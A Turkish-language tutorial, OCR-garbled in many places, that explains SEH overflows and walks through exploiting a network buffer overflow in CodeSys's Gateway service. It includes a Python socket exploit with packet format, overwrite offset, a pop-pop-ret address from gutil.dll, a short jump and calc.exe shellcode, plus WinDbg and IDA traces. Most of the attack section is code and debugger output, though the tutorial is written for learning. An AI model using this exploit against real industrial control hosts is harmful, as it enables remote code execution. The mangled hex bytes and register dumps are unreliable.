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Merhabalar, basliktan anlasilacag Uzere SEH(Structured Exception Handler) overflow hakkinda bir yazi olacak,
oncelikle SEH nedir, ne degildir sorularina cevap olacak klasik bir giris yapacagim, ardindan bu acigin nasil
somirulecegini bir drnek Gzerinde gostermeye calisacagim.

SEH nedir?

SEH, basitce programinizin icinde bulunan hata igleyicisidir. Program icerisinde gerceklesen bir istisna devreye SEH'i
alir, ve olusan hata islenir. Ornegin programlama dillerinde gérdiguniz try-except, try-catch yapilari da hata
islemek icin kullanilir, buradaki SEH de bunu yapar. SEH stackde 8 bytelik exception_registration yapisiyla saklanir.

typedef struct EXCEPTION_REGISTRATION{
_EXCEPTION_REGISTRATION =next;
PEXCEPTION_HANDLER =handler;

+ EXCEPTION_REGISTRATION, *PEXCEPTION_REGISTRATION;

Her iki eleman da 4 byte degerindedir. Bu yapi her kod blogu i¢in stackte ayri olarak saklanir. ilk eleman diger yapiyi
gosteren bir gdstericidir. Digeri ise olusan hatayi isleyecek olan gercek exception handlerdir(SE Handler) Tahmin
edebileceginiz gibi SEH tabanl tasma zafiyetlerini exploit ederken gonderdiginiz tasan deger SEH yapisinin da
Uzerine yazar. Siz de SEH Uzerine isinizi gorecek olan kodu yazdiginizda programin akisini istediginiz yere ¢cekmis
olursunuz. Ornek olmasi acisindan rastgele sectigim bir programin SEH yapisini gorelim,

0:001= |exxchain
Q3ceriTe: ntdll!_sxcept handierd+d (T7790045)
LRI scope 0. filter: nidll! Dbg UiRemoteBreakin+3b {777bacE3)
func:  ntdl! DbgUiRemoteBraskin:2f {TTTbaclT)
3coffoe: ntdll!_sxcept handierd+d (77796845
CRT scope O, filter: ntdlll__RtlseThresd Start+55654 (TT7b355h)
func:  ntdll!_ RtiUserThreadStart+ 9023 (TTT03saa)
03cHff=4: ntdll!FinslExoeptionHandlerPadt 140 {TTT46205)
0:001> d f=[0]
QQE00000000_02c0f {Tc 03c:30000 03cSc 000 Q000D |..vvvvveee.,
005300000010 00001=00 0DOD00DD 7ffd=000 0000000 .
Q05300000020 00000G42 00001124 D0ODDD00 0O000DI0 H...
005300000030 THfd=000 DDI0D000 ONDI000 Q00000 .
005300000040 B000DDH0 0DODH00D DHIDOD00 OODHIDND .
QQEZ:000000E0 00000000 ODPDO00D DR0DR000 TODM0DD0 .
005300000050 000000 00000000 DHODO000 DODH0000 .
Q05300000070 Q0000000 0000000 O00DI000 DDOM0DID ......covvvane
0:001= 't=b
TEE at T#ida00D
Exceptionlist: dcoffie
StsckBass: Ucal00

Resimde gorduginuz d fs: [@] TEB(Thread Environment Block)'i gbsterir. Ilk elemani da gorduguniz Gzere
ExceptionList'i tutuyor.

Simdi, SEH Overflowagigini bir 6rnekle gérelim. Uzerinde exploit yazacagimiz yaziim Codesys isimli bir yazilim.,
Yazihm icinde bu acigin disinda baska aciklarda var, bilgi sizdirma, dosya silme, okuma gibi. Bu makalede yalnizca
overflow acigina ve bu acigin kisaca tespit asamalarina deginecegiz.

Zafiyetin Kesfi

Uzunca anlatmadan 6nce acigi tetiklemek icin gereken kodu gdstereyim, ardindan o kod tzerinden kisa bir inceleme
yapip sonunda exploiti yazahm.

#!/usr/bin python
# —x— coding:utf-8 —=-

import struct
from socket import =

host = "192.168.20.129"
1211
adres = (host,port)

port



Baglanti = socket(AF_INET,SOCK_STREAM)
Baglanti.connect(adres)

#Burasi tanimlayici paketin yapisi

mesaj = ""\xDD\xDD" #Magic Number, paketi dogruluyor.

mesaj += "CDEFGHIJKLMN" #Junk

mesaj += struct.pack("L', 3004) #Son 4 byte ikinci paketin boyutu (L = long = 4 byte)
Baglanti.send(mesaj) #Toplam 18 byte

#ikinci paket

boyut = 3004

mesaj2 = struct.pack('L", 4) #4 Byte, 4. 6. caselerde GBufferedFileSerDev var.
mesaj2 += "A" * (boyut-len(mesaj2))

Baglanti.send(mesaj2)
Baglanti.close()

192.168.20.129 adresli XPsanal makinada calisan CodeSys programinin kendine ait bir paket yapisi var. Bu paket
yapisini gbrebilmek icin yapmaniz gereken Windbg ve IDA ile kodlariincelemek. Kisaca bahsetmem gerekirse
program iki adet paket aliyor. Bunlardan ilki paketin dogrulugunu ve diger paketin boyutunu belirmek icin
kullanihyor. Asagidaki resimde bu dogrulamalarin bir kismini gériyorsunuz.

RR; '
[ e

loc_uo94AA: .r"') \%

cmp [ebp+var_38], 12h
jz short loc_4894BD
¥

[ |

loc_4@94BD:

mow edx, dword ptr [ebp+buf]

and edx, BFFFFh

chp edx, BDDDD

jz short 1oc_u@9oaD3

Loc_4094AA kisminda yapilan cmp ile gelen paketin boyutunun 12h(18) olup olmadigi kontrol ediliyor. Olmadig
taktirde paket islenmiyor. Bu ilk paketin ilk iki byter magic value denilen paketi dogrulayan deger, ilk islemin ardindan
ilk 4 byte sifirlaniyor ardindan olusan bu degerin dddd olup olmadigi kontrol ediliyor eger dogruysa paket isleniyor.
Ayrica gelen ilk paketin son 4 byter ikinci paketin boyutunu da belirliyor. Surada gorebiliriz bunu:

eax=00000012 =bx=00957028 ecx=00000012 =dx=4443dddd esi=00957028 =di=7Yedatte

e1p=004094=0 e=p=0120ff0c ebp=0120¢f 1opl-& nv up 21 pl zr nas p= no
c==001F ===0023 d=s=0023 e===0023 £f==003b g==0000 =f1=00000246
inagel0400000+0=294c0

004094=0 Ble2ffffOonn and edx, OFFFFh

0:no7sx t

2ax=00000012 =bx=00957038 ecx=00000012 =d=x=0000dddd e=i=00%57038 =di=77edatee
e1p=004094ct esp=01Z0£f{0c ebp=0120£L70 1opl=u nv up =1 pl nz ns p= nc
ce==001b ===0023 d=s=0023 e===0023 {==003b g==0000 =ef1=00000206
inagel0400000+0294ch ;

004094t 21faddddooon Cup edx, 0DDDDh

Asagidaki kodda gorebilecegiz Gizere bu ilk pakete uygun yapida, 3004 uzunluk degerine sahip bir paket
gonderiyoruz. Ardindan su iki satiri gériyorsunuz

mesaj2 = struct.pack('L", 4) #4 Byte, 4. 6. caselerde GBufferedFileSerDev var.
mesaj2 += "A" * (boyut-len(mesaj2))

Program paketi dogruladiktan sonra aldigi ikinci paketin icerigine gére bazi islemler gerceklestiriyor. Program /DAile
incelenirse @04@5DD6 adresinde bulunan switch yapisi gorulebilir.



Hasln |

Bahsettigim aciklarin tim bu switch caselerde bulunuyor. Ornegin case 4 ve 6'da overflow aciklari mevcut,
nedeniyse bu caseler icinde islenen paketin @040683C satirindaki GBufferedFileSerDev isimli bir fonksiyon
kullanarak bir islemden gecmesi. Bu fonksiyon cagirildigi sirada paket icerigi normal boyutlarda degilse bir tagsma
oluyor. Bu iki caseyi de altta gorUyorsunuz.

Case 4:
ks =
00486817
00486817 loc_486817:
BBL4AGE17 mow eax, [ebp+arg 4]
0486810 push eax
80486816 lea ecx, [ebprvar_218]

BB4AG6E21 call ds:?AppendTextRGItring@RAQJAEHPADEZ ; GString::AppendText({char =)
88486827 push [}

0486829 lea ecx, [ebp+uar_218]

BO49682F call ds:??BGString@EQAEPADRZ ; GString::operator char ={woid)}
BB4BG6835% push eax

ABL4AGE36 lea ec¥, [ebp+var 280

sebebiyetETERERENN
80486842 mow byte ptr [ebp+var_4i], 7
BBL4AGEYG lea ecx, [ebp+var_2Z26C]

BBLAGBLE call ds: imp ?GetStatus@GSerDevEEUAE?AWLSDERRORERLZ ; GSerbev::GetStatus{void)
A0486852 test eax, eax

00486854 jz short loc_4B687E
Case 6:
BB4B6D7A
004A697A loc_ BO697A:
0BHA697A mOU eax, dword ptr [ebp+uar 338]
00406980 push eax
66486281 lea ecy, [ebp+var 33C]

opuA6987 call d5:?AppendTextAGString@ENAEHPADEZ ; GString::AppendText{char =)
00486980 push 1

004 0698F lea ecy, [ebp+var_33C]

0auA6295 call ds:??BGString@ROAEPADRZ ; GString::operator char =(void)
00406998 push eax

004A699C 1ea ecy, [ebp+var 334

68486 2A8 mov byte ptr [ebpsvar 4], @
004A69AC mou eCx, [ebp+arg_10]
00HA69AF mou duord ptr [ecx], 4

60486985 push 4 ; unsigned int
AALAG2B7 call TT2AYAPAR IRZ ; operator new{uint)

004069BC add esp, 4

00uA69BF mou [ebp+uar 528], eax

004 869CE mov edx, [ebp+arg_C]

684 B62CE mov eax, [ebp+var 528]

004A69CE mou [edx], eax

00HA69DA mou ecx, dword ptr [ebp+uar 338]
ORLAAONG mon -1 b lNorw+10khhl

Yukaridaki kodu calistirdiginizda programin ¢cékip kapandigini gorebilirsiniz. Program ¢oktuginde WinDbg ciktisina
bakarak aciga asil sebebiyet veren fonksiyonun GBufferedFileSerDev icerisinde bir yerde cagirilan
GUtilStringToGUID oldugunu gorebilirsiniz.

0:001: r

=ax=70f8f8f8 ebx=00922810 scx=00f{b8s40 edx=44444444 ==1=009a2810 edi=00b4ffif
=2ip=1000kZz]l ==p=00bif958 =bp=00b4fo9d4 1o0pl=0 nv up =1 pl ¥r na pe ho
ce=001b s==s=0023 d==0023 e=s=0023 {s=003L g==0000 ef1=00010246
GUti11GUt115tringToGUID+0x=58 :

1000b2c=l 8917 mow dword ptr [edi].edx ds:0023:00b4dffff="22yrree?
0:001: kw

ChildEBP Retiddr Args to Child

WARHNING: Stack unwind information not availasble. Following frames may be wrong.

Acigin tespiti basit olarak bu sekilde 6zetlenebilir.

Zafiyetin istismar Edilmesi



Simdi bu zafiyetin SEH kullanarak exploit edilmesini gérelim. Oncelikle SEH'in bizim A degerimizile yazihp
yazilmadigini gormemiz gerek. Dilerseniz bu defa programi baska bir debuggerda acin, ardindan yukaridaki kodu
cahstirin. Istisna meydana geldiginde debugger pause moduna gececektir. Bu sirada View menusinden SEH Chain'e
tiklarsaniz asagidaki gibi bir sonucla karsilasmaniz gerek.

Goruldaga Uzere SE Handler bizim A degerimiz ile yazilmis durumda. Simdi mantigimiz standart buffer overflow
aciklarindaki gibi olacak temelde. Oncelikle SE Handler'e yazan degerinin offsetini 6grenmemiz gerek. Bunu iki yolla
yapabiliriz, 6gretici olmasi icin iki yolu da yapalim. Oncelikle klasik metasploit Gizerinden 3000 uzunluga sahip bir
pattern olusturup yukaridaki kodu su sekilde dizenleyelim.

boyut = 3004
mesaj2 = struct.pack('L", 4)
mesaj2 += '"Aa@AalAa2Aa3AadhaSAabAaTAaBAa9Ab@A ——-sk ipped"

Yalnizca mesaj2 degiskenini metasploit ile Grettigimiz pattern ile degistirdim. Simdi kodu tekrar calistirip ardindan
yine SEH'in durumuna bakalm.

23 SEH chain of thread 000...

Address |SE handlew
ARE" ZEEF

T EMTRY +##

Goruldaga Uzere SE Handler 32704131 ile yazilmis durumda. Bu degeri metasploitin diger araci olan
pattern_offset'e verelim. Bu sayede SE Handler kacinci bytedan sonra yaziliyor onu 6grenmis olacagiz.

root@bkali: ruby pattern_offset.rb 32704131
[#] Exact match at offset 455

Bu demektir ki SE Handler 455. offsetde, yani bundan 4 byte geriye gidersek 451. offsette de Next SEH var. Yani biz
451. offsete kadar junk data gonderip ondan sonraki 4 byte ile de SE Handler Gzerine yazabiliriz.

Simdi kisaca teorik bir bilgiye deginelim. Bu bize ne kazandirir ? Simdi, yapmamiz gereken sey yiginda bulunan
shellcodeumuza atlamak. Bizhem Next SEH, hemde SE Handler Uzerine yazabiliyoruz. Bu kodlara geldigimiz sirada
bir istisnanin olustugunu da hesaba katarsak, istisna olustugunda bizim programimiz SE Handler degerine
gelecektir. Biz SE Handler'a ne yazmalyiz ki stacke gidip shellcodeumuzu calistirabilelim ? Bunu 6grenmeden énce
kodumuzu su sekilde degistirip istisna meydana geldiginde durumun ne oldugunu gorelim.

boyut = 3004

mesaj2 = struct.pack('L", 4)

mesaj2 += "\x41" %= 451 #A —= Junk
mesaj2 += ''BBBB" #B -> next SEH
mesaj2 += "'CCCC" #C -> SEH

mesaj2 += "D" % (boyut-len(mesaj2))



Simdi calistirdiktan sonra SEH devreye girene dek g ile devam ediyoruz. SEH devreye girdiginde EIP 43434343
olacak.

0:002> lexchain

flaaf2lc: ntdll!REtlConwvertUlongTolargsInteger+933 (7c903748)
Q0zafbec: ntdll!EtlConvertUlongTolargelnteger+93 (7o9037d43)
Q0zaaf9=8: GUt11l 1G04t 115tringTaTID+S836 (10013e=t )

Q0zaffdd: 434343473

invalid exception stack at 42424242

0.002: r

eax=00000000 =b==00000000 =cx=43434343 =dw=7c9037d8 ==si=00000000 =di=000C
2ip=43434343 e=zp=008af208 sbp=00zaafZ?8 iopl=0 nv up ei pl =r na ¢
ce=0010====0023 d==0023 e==0023 {==003Lb g==0000 ef1=0001
43434343 77 ary

0:002: kv

ChildEEF Retiddr Args to Child

WARNING: Fran= IP not in arv.lnovn module. Following frames may be wrong.

O0aaf204 7c9037bhf 00aaf2f0 00aaff4d O0zaf3lc O=43434343

Bakin burda ne varmis. B66! SE handler C, Next SEH B ile yazilmis durumda. Simdi kv ile call stacki kontrol
ederseniz isimize yarayacak bir ayrintiyi yakalayacaksiniz. 3. degerin bizim Next SEH oldugunu goriyorsunuz.

Yapmamiz gereken sey, bizim SE Handler degeri yerine bizi Next SEH kismina gotUrecek bir kod yazmak, Next SEH
yerine de shellcodeumuza atlayacak bir jump kodu yazmak. llk adimi yapmak icin yapmamiz gereken sey pop pop
ret seklinde bir instruction bulmak. Bu sayede stackde bulunan 7c9037bf ve @0aaf2f@ stackden gidecek veret ile
stackten en bastaki deger yani 0@aaff44 , yanitekrardan bizim Next SEH kismina gelmis olacagiz, burada da
shellcode atlamak icin gerekli olan kod olacagindan béylece shellcodeumuza atlamis olacagiz. Anlatirken biraz
karistik olsa da aciklayabilmeyi umuyorum simdi.

Kisaca exploitin calismasi icin su yapida bir exploit yazmamiz lazim:

| |
[AAAAA. ...] [short jump] [pop pop ret] [NOPLAR] [SHELLCODE] [NOP]

Sanirim biraz daha anlasilabilir olmustur bu sekilde. Simdi bu yapiya gore exploitimizi tekrar yazmamiz gerekiyor.
Oncelikle bir short jump koduna ihtiyacimiz var. 06 byte jump'in opcodeu eb 06, bunu exploit'e \xeb\x06\x90\x90
seklinde, iki nop ekleyerek geciriyoruz. Ardindan bize gereken sey pop pop ret, bunun icin hafizada arama
yapmamiz gerek. Bunun icin /mmunity Debuggenn dzelliginden faydalanacagiz. Programi debuggerda acip, alttaki
komut satirina pvefindaddr p -n yaziyoruz. Bir siire bekledikten sonra komut sonuclaniyor ve debuggerin
dizininde ppr isminde bi dosya olusuyor icinde bizim pop pop ret olarak kullanabilecegimiz adresler mevcut.

safeseEH: %% NO
safeseH: %% MO
SafesSEH: %% MO
SsafesEH: ¥ HNO
safeseH: %% MO
SafesSEH: %% MO
SafesEH: *¥ HNO
safeseH: %% MO
SafesSEH: %% MO

Found pop eax - pop 2351 - ret at 0x10011634 [outil.d1l] =
Found pop eax - pop ebp - ret at 0x100125000 [gutil.dlT] **
Found pop ebx - pop edi - ret at Ox10013007 [gutil.dll] ¥
Found pop ebx — pop edd - ret at Ox10013090 [gutil.dll] =
Found pop ebx - pop ebp - ret at Ox10011A58 [gutil.dIT] #
Found pop ebx - pop ebp - ret at Ox10012066 [gutil.dll] ¥
Found pop ecx — pop ecx - ret at Ox10011340 [gutil.dll] =
Found pop esi - pop ebx - ret at Ox10011524 [outil.d1l] =
Found pop esi - pop ebx - ret at Ox10011604 [gutil.dll] #*
Found pop esd - pop ebx - ret at Ox10012C22 [gutil.dll] = SafeseH: *% NO
Found pop esi - pop ebx - ret at 0x10013191 [gutil.d11] *» [safeseH: *¥ MO
Found pop esi - pop ebx - ret at Ox100135637 [gutil.d11] ** [safeseH: %% MO
Found pop esi - pop ebx - ret 10 at Ox10012A53 [gutil.dl11] *% [SafesEH: *»
Found pop edi - pop esi - ret at Ox10010897 [gutil.d11] % [safesEH: *¥ NO

Found pop edi - pop esi - ret at Ox10012675 [gutil.d11] % [safeseH: *¥% MO
Found pop edi - pop ez - ret at Ox1001274D [gutil.dl1] ** [SafesEH: *¥% NO
Found pop edi - pop esi - ret at 0x10012843 [gutil.d11] = [safeseH: =¥ NO
Found pop edi - pop esi - ret at Ox1001268F [gutil.d11] #** [safeseH: %% MO
Found pop edi - pop ez - ret at Ox1001335%4 [gutil.dl1] ** [SafesEH: *¥% NO
Found pop edi - pop esi - ret at 0x10013303 [gutil.d11] = [safeseH: =¥ NO
< 3

pwefindaddr p -n
Jound 24 addressfes) (Check the Log Windows Ffor details>

Buradaki adreslerden SafeSEH ve ASLR No olan bir adresi secip bunu SE Handler lzerine yazacagiz. Ben bu liste



icinden ©x1@@1309D adresini seciyorum. Son olarak da shellcodeumuzu yazip exploiti tammamlayacagiz. Exploitin
son hali su sekilde olacak.

boyut = 3004
mesaj2 = struct.pack('L", 4)
mesaj2 += "\x41" %= 451

mesaj2 += "\xeb\x06\x9@\x90" #jmp @6 byte

mesaj2 += struct.pack('<I', 0x1001309D) #pop pop ret, jump to next seh
mesaj2 += "\x9@" = 24

mesaj2 += "\x31\xdb\x64\x8b\x7b\x3@\ x8b\x7f" #calc.exe shellcode

mesaj2 += "\x@c\x8b\x7 f\x1c\x8b\x47\x@8\ x8h"
mesaj2 += "\x77\x20\x8b\x3f\x8@\x7e\ x0c\x33"
mesaj2 += "\x75\xF2\x89\xc7\x@3\x78\ x3c\x8b"
mesaj2 += "\x57\x78\x@1\xc2\x8b\x7a\ x20\x@1"
mesaj2 += "\xc7\x89\xdd\x8b\x34\xaf\x@1\ xcE"
mesaj2 += "\x45\x81\x3e\x43\x72\x65\x61\x75"
mesaj2 += "\xF2\x81\x7e\x@8\x6f\x63\x65\x73"
mesaj2 += "\x75\xe9\x8b\x7a\x24\x01\ xc7\x66"
mesaj2 += "\xBb\x2c\x6f\x8b\x7a\x1c\x@1\xc7"
mesaj2 += "\xBb\x7c\xaf\xfc\x@1\xc7\x89\ xd9"
mesaj2 += "\xb1\xff\x53\xe2\x fd\x68\x63\x61"
mesaj2 += "\x6c\x63\x89\xe2\x52\x52\ x53\x53"
mesaj2 += "\x53\x53\x53\x53\x52\x53\ xff\ xd7"
mesaj2 += "D" % (boyut-len(mesaj2))

Simdi programi Windbgda acip bp ©x1001309D ile pop pop ret kismina breakpoint koyup exploiti calistralim.
Ardindan neler olup bittigini gorelim.

RS0, 1 elp 1000b2cl esp=00aaf9a8 ebp=00aaf9d4 1Dpl D nv up =i pl =r na pe nc
cz=001b ===0023 ds=0023 es=0023 {==003b gs=s=0000 efl=00010246
Reg Value A GTE1l GOt 11 5t ringToGTID+0==58
— 1 1000b2z1 2917 T dword ptr [edi].edx ds=:0023:002=f£f£f£=77777777
gs o 0:002> g
f= 3b Brealkpoint 0 hit
es 23 I ll=a==00000000 =b==00000000 ec==1001309d edx=7c9037d8 e=si=00000000 =di=00000000
ds= 23 eip=1001309d =esp=002af5d8 =bp=0028af5{f{8 iopl=0 nv up =i pl =r na pe nc
sdi 0 cs=001b =s=0023 ds=0023 es=00:23 f{==003b gs=0000 sf1=00000246
e=si 1] GUtil 1GTtilStringToGUID+0=Ec34
ehx 0 10013094 &b pop eb=
ed=x 0:002» do esp
e 0022f5d8  ?c9037bf 00azfbcl Olosffdd 00aaféde 7| ... D . ...
camx 00zaf5e® 00a=f694 00a=f9%c=8 7c9037d8 00aaffdd ... ... 7. |D...
ebp 2mf5f8 00aaf5fi8d 00aaftal 7c90378b 00saftcl D0aaffdd ... 2 I T
- 10013094 0Daafe08 0O0aaf6ds 00a=f694 10013094 00000001 .. ... ....0......
E1D 00aaf 618 0O0a=sféc) Dlasffdd 7c937860 O0aafécd ... .D... "= |....
o= ib 00zaf628 00a=ffd4 0Dasf6dc D0a=mf6?4 10013094 D ... ........0.
sfl 246 002af638 00aaffff O0asfecO 00952810 00930000 .. ... ... .(......
ezp §§f5d3 v || [|00aaf648 0O0£17a9%8 00000000 O0a=af?3c OO00O0O0O0 @ =... ... Lol =2
< | > | v

T S e F T e M Disassembly - C:\WINDOWS\system32\Gateway.exe - WinDbe: 6.11.0001.402 xe6 i [ [~ [BX]

ntdll IRt l1ConvertUTlongToLlargeInteger+0xdb Previous Mext

ntdll |KiUserExcept ionDispatcher+0=ze

imagel0400000+0xA042 1001308 =97394£££f inp GUt111GTMt115tringTaGUID+0=20% (1000=506)
10013093 8d47ff lea eax, [edi-1]

0=x30909090

0=x90909090

O=z8b08478b

Ox3£8b2077

| |@$=copeip

0290909090
0x90909090 10013096 Ee pop e=1
10013097 Sb pop sbx %i“\‘
10013098 &5f pop edi
0x8b6 4dR31 _
0=7£8b307h sax, edi 0\
Dxic? £8E0c 0 0

Dz330c7esl ret

0xc?789f{275 push ehp

0x8b3c7803 nov shp. esp

Oxc2017857 push edi

0x1207a8b push e=si

0x8bdd89c? push =) 4

< 100130ak 8b4d10 mow ecx.dwvord ptr [ebp+l0k]

Gordugunuz gibi, exploit igliyor. pop pop ret kisminda durdugumuzda ESP'ye bakarsak SE Handler''n orada
oldugunu gortyoruz. Disassembly kisminda iki pop ve ret komutlarini gérilyorsunuz. Bu iki pop gerceklestikten
sonra ret komutu stackten 0Qaaff44 ' alip oraya gidiyor. Ardindan olanlar soyle:



Command - C:AWINDOWSAsystem 3 2\Gateway.exe - WinDbg: 6.11.0001.402 X86

o:o02: t ~

=ax=00000000 ebx=7c9037bf ec==1001309d edx=7c9037d8 ==1=00000000 =edi=00aafbcl M
=1ip=1001309f e=zp=00azaf5e=el =bp=0022f5f3 i1opl=0 nv up =1 pl Ty ha pe no

ce=001b ===0023 d=s=0023 e=s=0023 f{=s=003L g==0000 efl=00000246
GOt1l!1GUt115tringToGUID+0x8=36

1001309f =3 ret

O:o002» t

eax=00000000 ebx=7c9037hE
=ip=00azifdd ezp=00aaf

cx=1001%0%d ede=7c9037d8 e=s1=00000000 edi=00z=aftcl
bp=00:2f5f8 icpl=0 nv up =1 pl Ty ha pe no

c==001b ===0023 e==0073 f==003b g==0000 ef1=00000246
M0z=ffdd =bl6 Jnp Q0zafidc

0:002% dc O0aaffd

O0azffd44 S09006=H 10013094 90909090 S090%0%0 .. . . oo ...

O0==f£54  JUSUTUE0 20909090 30909090 90909030 ... ... ... . ...,

O0z=ff6d4 Bbeadbil 1c7i8b0c 8bOB478L 1.d.{0....... G..
O0==f£74  3f8L2077 c?789£275 Bb3c?R03 w P du. . mLL
ODz2££84 c20178L7 ebddesc? cellafdd Wx. ..z ..... 4.,

O0a=aff94 433=8145
Olazffad 7a8bs975
00zzaffbd foaf?cBb

087=81f2 73B5E36E E. »Crean. ™. oces
BhefZczBbh 701172 w. =6, f..0.2. ..
e253ffbl e16368Ed . |..... ... S, .hca

=

<
0.002> |

| W

Oﬁsﬂ:|@Sscopeip \ | Presviouz Pt

Q0zaffic 43 inc =bx
flaaffid 43 inc b=
0laaff3= 43 inc e=hx
Q0zaff3f 43 inc =bx
flaaffd40 43 inc b=
00a=affdl 43 inc ebx
Olaaffd? 43 inc ehx
Jlaaffd3 43 inc =hx
|FEEEEY i N0aaffdc
Q0zaffdb 90 nop
00zaffd4? 30 nop
Q0zaffd49 9d popid
Q0zaffd9q 3001 HOT byte ptr [ec=].al
f0zaffdb 1090909059090 adc byte ptr [sax-6F&FeF70h].dl
Q0zaff&1 90 nop
Q0==aff52 90 nop
Q0=af£f53 90 nop

Gordugunuz gibi ret komutu sayesinde program tekrardan @Qaaff44 'e gelmis. Bu adreste bizim /MP 06 byte
kodumuz bulunuyor, bunu disassembly kisminda gorebilirsiniz. Bu kisimdan sonra g ile programi devam
ettirirseniz hesap makinesinin acilacagini gormus olursunuz. isleyen kismi da gostereyim son olarak:

uuuuuuuuuu e e

000l t

=ax=00000000 =bx=7c9037bf =cx=1001309d =dx=7c9037d8 ==1=00000000 =di=00zaf6c0
2ip=100130%f e=p=00zaffel =bp=002af5f{3 iopl=0 nv up =& pl =r na pE nc
cz=001b ===0023 ds=0023 ez=0023 £==003L g==0020 ef1=00000246
GOtil IGUt11StringToGHID+0RE=06:

100130%9f =3 ret

0001 ¢

=ax=00000000 =bx=7c9037bf =cxz=1001309d =d=x=7c9037d8 e=1=00000000 =di=00zafb6c0
sip=00zaff44d ==sp=0022fC=4 =bp=002afGf3 iopl=0 nv up =1 ¢l =¥ ha D= no
cz=001b ===0023 ds=0023 e==0023 £==003L g==0000 ef1=00000246
O0zatidd =b0A jmp Qlazffdc

0001 ¢

2ax=00000000 =bx=7c9037bf ecz=1001309d =d=x=7c9037d% =21=00000000 =di=00zafcc
eip=00zaffdc esp=00zafbed =sbp=0022f5f3 10pl=0 nv up =1 pl zr na pe nc
z==001b ===0023 d==0023 e===0023 f==003b g==0000 =f1=00000246
Q0zatfidc 90 nop

0:001> |

theh|@$scapeip | Previous

Ho pricr dizassembl
(0zaffdz 90

00zafidd 90 nop
00azfide 90 nop
O0aaff4f 90 nop
Q0=z=fi50 90 nop
00a=f£{51 490 nop
00azff52 90 nop
00z2f£E53 20 nop
O0a=fi54 490 nop
00a=zff55 90 nop
Q0zafite 20 nop
00=z=f{57 90 nop
00a=ff53 90 nop
00z2f£59 20 nop

MMNa=ffE5= 49N o



Son olarak bu yaptigimiz islemleri oldukca kisaltan Immunity nimetini de géstermek istiyorum. Exploiti metasploit
patterni kullanarak calistirdigimiz kisimda dncelikle programi debugger ile debug ediyoruz. Ardindan kodu calistirip
Immunittyde pause moduna gecince alttaki komut satirina !pvefindaddr suggest komutunu giriyoruz. Bir slre
sonra durum cubugunda Done! yazacak, ardindan View => Log kismina girersek orada yazmamiz gereken
exploitin nasil olmasi gerektigine dair bilgileri bulabilirsiniz. Ayrica metasploit patternini de Immunity icinden
Ipvefindaddr pattern_create uzunluk komutu ile olusturabilirsiniz. Ciktisi yine debuggerin dizininde olacaktir.

.F
r 455 butes

L

tpuef indadde o -n to find & suitable addr

Uzun bir yazi oldu ama faydali olmasini umuyorum, zaman ayiranlara tesekkurler.

Ayrica bu konularda ilerlemek isteyen arkadaslara SignalSEC tarafindan verilen Zero-day Arastirma Egitimini
ictenlikle tavsiye ediyorum. Thanks musashi!



